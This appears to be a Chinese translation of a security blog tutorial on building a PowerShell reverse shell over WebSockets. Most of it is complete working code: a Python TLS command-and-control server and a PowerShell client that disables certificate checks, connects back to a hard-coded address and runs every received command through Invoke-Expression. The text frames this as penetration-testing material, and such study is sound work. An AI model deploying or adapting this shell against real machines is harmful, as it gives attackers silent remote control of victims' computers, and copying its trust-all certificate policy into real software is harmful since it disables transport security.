在研究如何使用 PowerShell 通过 WebSockets 设置反向 shell 的过程中，必须创建三样东西：

• 一个用于控制 Shell 的 Python WebSocket 服务器。
• 一个用于验证服务器工作的 Python WebSocket 客户端。
• PowerShell WebSocket 客户端充当反向 shell

仅为了澄清，虽然本文的重点是创建 PowerShell 反向 shell，构建自己的监听器和编写多个代理，这更偏向于 C2（命令与控制）设置，而不是传统的反向 shell。

请注意，本文仅用于教育目的，且仅适用于已获得明确许可的合法渗透测试和红队活动。

Python WebSocket 服务器

您可能有权访问一个域名和有效的证书。在我的测试设置中，我没有。因此，我的第一个目标是为我服务器创建一个自签名证书。我选择使它们短期有效（一天），每次服务器启动时都创建一个新的。

Copyfrom cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from datetime import datetime, timedelta, timezone

class Certificate:
@staticmethod
def generate(cert_path, key_path, server):
# Generate the private key
private_key = rsa.generate_private_key(public_exponent=65537,key_size=2048,backend=default_backend())
# Create the certificate builder. Configurate the bare minimum required to get this to work.
builder = x509.CertificateBuilder(
subject_name=x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, server)]),
issuer_name=x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, server) ]),
public_key=private_key.public_key(),
serial_number=x509.random_serial_number(),
not_valid_before=datetime.now(timezone.utc),
not_valid_after=datetime.now(timezone.utc) + timedelta(days=1)
)
san = x509.SubjectAlternativeName([ x509.DNSName(server) ])
builder = builder.add_extension(san, critical=False)

# Self-sign the certificate and write it to cert_path
certificate = builder.sign(private_key=private_key, algorithm=hashes.SHA256(), backend=default_backend())
with open(cert_path, "wb") as cert_file:
cert_file.write(certificate.public_bytes(encoding=serialization.Encoding.PEM))

# Write the private key to key_path
with open(key_path, "wb") as key_file:
key_file.write(private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption()
))

接下来是安全 WebSocket 服务器。毫无疑问，这段代码中最困难的部分是在当前行上方打印输出，而不覆盖我的历史记录。这种情况一直发生，因为代码是在协程中使用 asyncio 运行的。幸运的是，StackOverflow 上的好心人之前已经解决了这个问题。

当 WebSocket 服务器启动时，会生成新的证书。服务器和输入处理器在独立的协程中运行。为防止锁定，在每次循环迭代时，使用 asyncio.sleep(0.1) 释放 while 循环。

服务器核心是 WebSocket handler 。当新客户端连接时，使用其键将其添加到缓存中。当用户激活客户端时，处理器开始发送命令并接收和打印结果。

Copyfrom certificate import Certificate
import asyncio, websockets, ssl, sys

clients, active_client, command, waiting = {}, None, None, False

def bgprint(message, color = '�33[0m'):
""" Print the message above the current line, while 'pushing' the history up. """
print(f"u001B[su001B[Au001B[999Du001B[Su001B[L{color}{message}�33[0mu001B[u", end="", flush=True)

async def handler(websocket, path):
""" Background handler running for each websocket handler. If active, handle sending/receiving messages. """
global active_client, command, waiting
try:
bgprint(f"Client connected: {path}", "�33[32m")
clients[path] = websocket
if path != f"/{await websocket.recv()}": return # First message must be the generated key
while True:
if active_client == path and command: # Only communicate when active
waiting = True
await websocket.send(command)
response = await websocket.recv()
if response: print(response) # Regular print
waiting, command = False, None
await asyncio.sleep(0.1) # Release the routine
except websockets.exceptions.ConnectionClosed:
bgprint(f"Client disconnected: {path}", '�33[33m')
clients.pop(path, None) # Remove client from dictionary when disconnected
except Exception as e:
bgprint(f"Client error: {path}: {e}", '�33[31m')
waiting, command = False, None

async def handle_cli():
global active_client, command, waiting
while True:
if waiting or command: await asyncio.sleep(0.1); continue
handle = active_client if active_client else '>'
# Ask for input (non-blocking using asyncio)
loop = asyncio.get_event_loop()
user_input = await loop.run_in_executor(None, input, f"[{handle}] ")
# Handle user input
if user_input.lower() == 'l':
if len(clients.keys()):
bgprint("Connected Clients:")
for idx, client_path in enumerate(clients.keys()):
bgprint(f"{idx}: {client_path}")
else: bgprint(f"No connected clients", '�33[33m')
elif user_input.lower() == 'q':
bgprint(f"Exiting...", '�33[33m'); break
elif user_input.isdigit():
user_input = int(user_input)
if user_input >= 0 and user_input < len(clients):
active_client = list(clients.keys())[user_input]
elif active_client:
command = user_input
else: bgprint("No active client", "�33[33m")

async def main(cert_path, key_path, server, port):
""" Set up SSL context, start the WebSocket server and CLI coroutine """
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ssl_context.load_cert_chain(cert_path, key_path)
start_wss_server = websockets.serve(handler, server, port, ssl=ssl_context)
await asyncio.gather(start_wss_server, handle_cli())

if __name__ == '__main__':
if not len(sys.argv) == 3: bgprint("Usage: python3 ./server.py <IP> <PORT>", "�33[33m"); exit()
cert_path, key_path = "/tmp/wsc2_cert.pem", "/tmp/wsc2_key.pem"
Certificate.generate(cert_path, key_path, sys.argv[1])
print("Commands:n- l: list connected clientsn- q: quitn- 0-9: set client activen- other: command to execute")
asyncio.run(main(cert_path, key_path, sys.argv[1], sys.argv[2]))

执行使用反向 shell 的 whoami

反向 Shell — PowerShell WebSocket 客户端

这是一个很难让它工作的问题。既然我想这个脚本充当反向 shell，我希望依赖性最小。所以，我不能安装包、导入证书或进行任何需要用户交互的操作。经过多次迭代，并参考了一个有用的 gist，我成功让初始版本工作，并从这里开始构建。

在构建外壳时，我最初开始测试时不使用 TLS。一开始，我无法让 WSS 版本工作，但我没有获得任何除了连接“故障”之外的可用的信息。我怀疑证书有问题，通过不连接它来测试脚本。

在我完成基本外壳构建后，通过实现一个自定义的 ICertificatePolicy ，使用内联.NET 接受所有证书，我能够绕过证书错误。这不是最漂亮的解决方案，但我尝试过的所有使用原生 PowerShell 绕过连接故障的方法都没有成功。

总结来说，该脚本执行以下操作：

• 设置一个相对独特的密钥（主机名的 MD5 校验和）。
• 创建一个取消令牌源。
• 绕过证书验证。
• 启动安全 WebSocket 连接。
• 设置基于队列的运行空间以处理传入和传出消息。
• 启动接收和执行命令的过程。

在下面的脚本中，我在关键行添加了注释。由于这是一个反向 shell，脚本大部分是静默的。如果您想玩弄它，我建议添加一些 Write-Output -语句。

Copy$md5 = [System.BitConverter]::ToString([System.Security.Cryptography.MD5]::Create().ComputeHash([Text.Encoding]::UTF8.GetBytes($env:COMPUTERNAME))) -replace '-'
$key = "ps_$($env:OS)_$md5"
$url = "wss://172.16.224.128:8765/$key"
$cts = New-Object Threading.CancellationTokenSource
$ct = $cts.Token

# Trust all certificates
Add-Type @"
using System.Net; using System.Security.Cryptography.X509Certificates;
public class IgnoreCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(ServicePoint a, X509Certificate b, WebRequest c, int d) { return true; }
}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object IgnoreCertsPolicy

# Start the connection. Wait until its open.
try {
$ws = New-Object Net.WebSockets.ClientWebSocket
$connectTask = $ws.ConnectAsync($url, $ct)
do { Sleep(0.5) } until ($connectTask.IsCompleted)
if ($ws.State -ne [System.Net.WebSockets.WebSocketState]::Open) { exit }
} catch { exit }

# Set Up the queue based receive runspace
$recv_runspace = [PowerShell]::Create()
$recv_queue = New-Object 'System.Collections.Concurrent.ConcurrentQueue[String]'
$recv_runspace.AddScript({
param($ws, $key, $recv_queue, $ct)
$buffer = [Net.WebSockets.WebSocket]::CreateClientBuffer(1024,1024)
$recvResult = $null
# While the connection is open, receive data and add it to the receive queue.
while ($ws.State -eq [Net.WebSockets.WebSocketState]::Open -and -not $ct.IsCancellationRequested) {
$command = ""
do {
$recvResult = $ws.ReceiveAsync($buffer, $ct)
while (-not $recvResult.IsCompleted -and $ws.State -eq [Net.WebSockets.WebSocketState]::Open -and -not $ct.IsCancellationRequested) {
[Threading.Thread]::Sleep(5)
}
$command += [Text.Encoding]::UTF8.GetString($buffer, 0, $recvResult.Result.Count)
} until ($ws.State -ne [Net.WebSockets.WebSocketState]::Open -or $recvResult.Result.EndOfMessage)
$recv_queue.Enqueue($command) # Queue the command for invocation
}
}).AddParameter("ws", $ws).AddParameter("key", $key).AddParameter("recv_queue", $recv_queue).AddParameter("ct", $ct).
BeginInvoke() | Out-Null

# Set up the queue-based send runspace
$send_queue = New-Object 'System.Collections.Concurrent.ConcurrentQueue[String]'
$send_runspace = [PowerShell]::Create()
$send_runspace.AddScript({
param($ws, $key, $send_queue, $ct)
$result = $null
# While the connection is open, dequeue and send invocation results.
while ($ws.State -eq [Net.WebSockets.WebSocketState]::Open -and -not $ct.IsCancellationRequested) {
if ($send_queue.TryDequeue([ref] $result)) {
$ws.SendAsync([Text.Encoding]::UTF8.GetBytes($result), [System.Net.WebSockets.WebSocketMessageType]::Text, $true, $ct).
GetAwaiter().GetResult() | Out-Null
}
}
}).AddParameter("ws", $ws).AddParameter("key", $key).AddParameter("send_queue", $send_queue).AddParameter("ct", $ct).
BeginInvoke() | Out-Null

try {
$send_queue.Enqueue($key) # Kick off by sending our key
do { # Dequeue and invoke commands from the receive queue while the connection is open
$command = $null
while ($recv_queue.TryDequeue([ref] $command)) {
# Invoke the command and queue the response
try { $result = Invoke-Expression $command }
catch { $result = [char]27 + "[31m" + $_.Exception.Message + [char]27 + "[0m" }
finally {
if ($null -eq $result) { $result = '' }
$send_queue.Enqueue($result)
}
}
} until ($ws.State -ne [Net.WebSockets.WebSocketState]::Open -or $ct.IsCancellationRequested)
} finally { # Break down the connection and queues
$closetask = $ws.CloseAsync([System.Net.WebSockets.WebSocketCloseStatus]::Empty, "", $ct)
do { Sleep(0.5) } until ($closetask.IsCompleted)
$ws.Dispose()
$recv_runspace.Stop(); $recv_runspace.Dispose()
$send_runspace.Stop(); $send_runspace.Dispose()
}

调试连接

如前所述，我在使 PowerShell 脚本工作过程中遇到了一些挑战。我已经添加了使用自签名证书和队列的解决方案，但如果您想测试这些脚本中的任何一个，一些额外的验证步骤可能很有用。

在您的 Windows 主机上进行测试时，您首先可以验证您的服务器是否可以通过 PowerShell 使用 TCP 进行访问：

CopyTest-NetConnection -ComputerName 172.16.224.128 -Port 8765 -InformationLevel Detailed

输出应类似于以下这样如果上述测试成功，下一步是运行 Python 客户端。它可以用于测试运行 Python 的大多数机器上的服务器。与 PowerShell 版本相同，它执行接收到的命令并回复响应。

与 PowerShell 脚本相比，Python 客户端在调试时非常简单易用。

原文地址

https://infosecwriteups.com/creating-a-powershell-reverse-shell-using-websockets-fe12f9a9d868